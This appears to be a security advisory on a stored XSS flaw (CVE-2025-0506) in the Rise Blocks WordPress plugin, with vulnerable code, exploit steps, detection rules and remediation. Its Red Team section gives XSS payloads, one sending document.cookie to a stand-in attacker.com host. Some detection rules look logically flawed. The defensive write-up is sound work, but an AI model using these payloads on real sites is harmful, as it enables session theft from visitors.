CVE-2025-0506

Executive Summary

CVE-2025-0506 is a Stored Cross-Site Scripting (XSS) vulnerability in the Rise Blocks – A Complete Gutenberg Page Builder plugin for WordPress. The flaw resides in the titleTag parameter, which is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability affects all versions up to and including 3.6. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites with multiple authors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are running version 3.6 or earlier and apply any available updates from the plugin author. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impacts other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for widespread script injection on high-traffic pages elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the titleTag parameter used by the Rise Blocks plugin to render HTML heading tags (e.g., <h1>, <h2>). The plugin fails to properly sanitize user input and escape output when rendering this parameter. An attacker with Contributor-level access can craft a block with a malicious titleTag value containing JavaScript payloads. When the page is saved and later viewed by any user (including administrators), the script executes in the context of the victim's browser.

The attack flow:

1. Attacker logs in with Contributor credentials.
2. Creates or edits a page/post using the Rise Blocks editor.
3. Sets the titleTag parameter to a payload like <img src=x onerror=alert('XSS')>.
4. Publishes or saves the page.
5. Any visitor to that page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.6):

// In rise-blocks/includes/class-rise-blocks-render.php
$title_tag = $attributes['titleTag'] ?? 'h2';
echo '<' . $title_tag . ' class="rise-blocks-title">' . esc_html($title) . '</' . $title_tag . '>';

The $title_tag is directly concatenated into the HTML without sanitization, allowing injection of arbitrary attributes or tags.

Patched Code (hypothetical fix):

$allowed_tags = ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div'];
$title_tag = in_array($attributes['titleTag'], $allowed_tags) ? $attributes['titleTag'] : 'h2';
echo '<' . $title_tag . ' class="rise-blocks-title">' . esc_html($title) . '</' . $title_tag . '>';

The fix should whitelist allowed HTML tags and reject any non-conforming input.

Exploitation & Lab Setup

Red Team

Prerequisites: WordPress instance with Rise Blocks plugin <= 3.6, a Contributor-level account.

Exploit Steps:

1. Log in as Contributor.
2. Create a new page and add a Rise Blocks heading block.
3. In the block settings, set the titleTag parameter to:

   img src=x onerror=alert(document.cookie)
   

4. Save and publish the page.
5. Visit the page as any user to trigger the XSS.

Example Payload:

<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team

Detection: Monitor for unusual titleTag values in page/post revisions. Look for non-standard HTML tags or event handlers in block attributes.

Hunting Query (WordPress database):

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%titleTag%' AND meta_value NOT IN ('h1','h2','h3','h4','h5','h6','p','div');

Mitigation: Restrict Contributor-level access to trusted users only. Implement a Web Application Firewall (WAF) rule to block malicious payloads in block attributes.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/rise-blocks/includes/class-rise-blocks-render.php (version <= 3.6)
• Database: wp_postmeta entries with meta_key containing titleTag and meta_value containing HTML event handlers (e.g., onerror, onload).
• Network: Outbound requests to attacker-controlled domains from compromised pages.
• Logs: WordPress debug logs showing unexpected HTML tags in block rendering.

Detection Engineering

YARA Rule

rule CVE_2025_0506_Rise_Blocks_XSS {
    meta:
        description = "Detects malicious titleTag values in Rise Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0506"
    strings:
        $payload1 = /titleTag[^>]*?on\w+\s*=/ nocase
        $payload2 = /titleTag[^>]*?<script/i nocase
        $payload3 = /titleTag[^>]*?javascript:/i nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0506 Rise Blocks Stored XSS Detection
id: 8a3f7c2e-1b4d-4e5f-9a0b-6c7d8e9f0a1b
status: experimental
description: Detects stored XSS attempts via titleTag parameter in Rise Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-json/wp/v2/posts'
        http.body|contains: 'titleTag'
    filter:
        http.body|contains|all:
            - 'titleTag'
            - 'h1'
            - 'h2'
            - 'h3'
            - 'h4'
            - 'h5'
            - 'h6'
            - 'p'
            - 'div'
    condition: selection and not filter
falsepositives:
    - Legitimate use of allowed tags
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0506 Rise Blocks Stored XSS Attempt"; flow:to_server; content:"titleTag"; http_client_body; pcre:"/titleTag[^>]*?(on\w+\s*=|javascript:|<script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Rise Blocks plugin until a patch is available.
2. Short-term: Restrict Contributor-level access to only trusted users. Implement a WAF rule to block malicious titleTag values.
3. Long-term: Apply the official patch from the plugin vendor once released. Consider migrating to an alternative Gutenberg block plugin.
4. Detection: Monitor WordPress logs and database for suspicious titleTag values. Use the provided YARA/Sigma/Suricata rules for proactive detection.

Report generated by Valters IT DevSecOps & CTI Division